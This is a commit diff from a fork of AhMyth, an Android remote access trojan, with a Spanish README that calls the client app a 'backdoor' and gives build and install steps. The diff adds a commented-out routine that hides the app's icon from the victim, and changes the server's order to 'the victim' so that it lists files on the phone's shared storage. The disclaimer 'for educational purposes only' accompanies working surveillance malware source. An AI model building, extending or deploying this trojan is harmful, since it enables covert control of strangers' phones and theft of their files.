Kaynağa Gözat

Soluciones: list dir, names, hide app

El Capitán 5 yıl önce
ebeveyn
işleme
4bca4b9bab

+ 17 - 0
AhMyth-Client/.project

@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<projectDescription>
+	<name>AhMyth-Client</name>
+	<comment>Project AhMyth-Client created by Buildship.</comment>
+	<projects>
+	</projects>
+	<buildSpec>
+		<buildCommand>
+			<name>org.eclipse.buildship.core.gradleprojectbuilder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
+	</buildSpec>
+	<natures>
+		<nature>org.eclipse.buildship.core.gradleprojectnature</nature>
+	</natures>
+</projectDescription>

+ 2 - 0
AhMyth-Client/.settings/org.eclipse.buildship.core.prefs

@@ -0,0 +1,2 @@
+connection.project.dir=
+eclipse.preferences.version=1

+ 8 - 7
AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainActivity.java

@@ -13,19 +13,20 @@ import android.widget.Toast;
 
 public class MainActivity extends Activity {
 
-
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.activity_main);
         startService(new Intent(this, MainService.class));
         finish();
+        // fn_hideicon();
     }
+    /* En caso de que se quiera ocultar la app
+    private void fn_hideicon() {
 
-
-
-
-
-
+        getPackageManager().setComponentEnabledSetting(getComponentName(),
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                PackageManager.DONT_KILL_APP);
+    }
+    */
 }

+ 2 - 1
AhMyth-Server/app/app/assets/js/controllers/LabCtrl.js

@@ -201,7 +201,8 @@ app.controller("FmCtrl", function($scope, $rootScope) {
 
     // send request to victim to bring files
     $rootScope.Log('Get files list');
-    socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/' });
+    // socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/' });
+    socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/storage/emulated/0/' });
 
     socket.on(fileManager, (data) => {
         if (data.file == true) { // response with file's binary

+ 2 - 2
AhMyth-Server/app/app/views/build.html

@@ -11,7 +11,7 @@
                 <td>
                     <div class="ui labeled fluid input ">
                         <div class="ui black label">
-                            Source IP
+                            Server IP
                         </div>
                         <input ng-model="srcIP" type="text" placeholder="188.132.xxx.xxx">
                     </div>
@@ -20,7 +20,7 @@
                 <td>
                     <div class="ui labeled fluid input ">
                         <div class="ui black label">
-                            Source Port
+                            Server Port
                         </div>
                         <input ng-model="srcPort" type="number" min="1025" max="65535" placeholder="default is 42474">
                     </div>

+ 66 - 0
README_ES.md

@@ -0,0 +1,66 @@
+# AhMyth Android Rat
+###### Beta Version
++ Repositorio original
+	+ ```https://github.com/AhMyth/AhMyth-Android-RAT.git```
++ El repositorio actual corrige problemas comunes para su instalación en debian 10, también recopila pull requests aún no aprobado e incorpora nuevas funcionalidades.
+	+ ```https://github.com/elcaza/AhMyth-Android-RAT```
+
+
+Este proyecto consiste de dos partes
+* Servidor : Aplicación de escritorio basada en electron framework (control panel)
+* Cliente : Aplicación de android (backdoor)
+
+
+## Primeros pasos
+### Hay dos opciones para instalar la aplicación 
+#### 1) Desde el código fuente
+###### Prerrequisitos :
+* Electron (to start the app)
+* Java 8 (to generate apk backdoor)
+* Electron-builder and electron-packer (to build binaries for (OSX,WINDOWS,LINUX))
+1. ```git clone https://github.com/AhMyth/AhMyth-Android-RAT.git```
+2. ```cd AhMyth-Android-RAT/AhMyth-Server```
+3. ```npm start```
+
+#### 2) Desde los binarios
+###### Prerequisite :
+* Descargar el binario desde https://github.com/AhMyth/AhMyth-Android-RAT/releases
+* Java (to generate apk backdoor)
+
+## Instalación de dependencias y solución a errores comunes
++ Esto fue probado en el siguiente ambiente
+	+ Debian 10
+	+ javac 8
+
+
+
+
+## Screenshots
+<p align="center">
+	<img src="http://i.imgur.com/HM3uXL6.png" width="600"/>
+</p>
+
+---------------------------------------------------------------
+
+<p align="center">
+	<img src="http://i.imgur.com/nHTGGHi.png" width="600"/>
+</p>
+
+---------------------------------------------------------------
+
+<p align="center">
+	<img src="http://i.imgur.com/XVXCHV9.png" width="600"/>
+</p>
+
+
+## Video Tutorial
+<p align="center">
+<a href="https://www.youtube.com/watch?v=DDIZTABABzs">
+	<img src="https://img.youtube.com/vi/DDIZTABABzs/0.jpg" width="600"/>
+</a></p>
+
+
+---------------------------------------------------------------
+##### I will not be responsible for any direct or indirect damage caused due to the usage of this tool, it is for educational purposes only.
+###### Twitter : <a href="https://twitter.com/AhMythDev"> @AhMythDev </a>
+###### Bitcoin address for donations:  : 1EVwLuwmbsEuej7qJnNquFeQJLsgd2b8Lq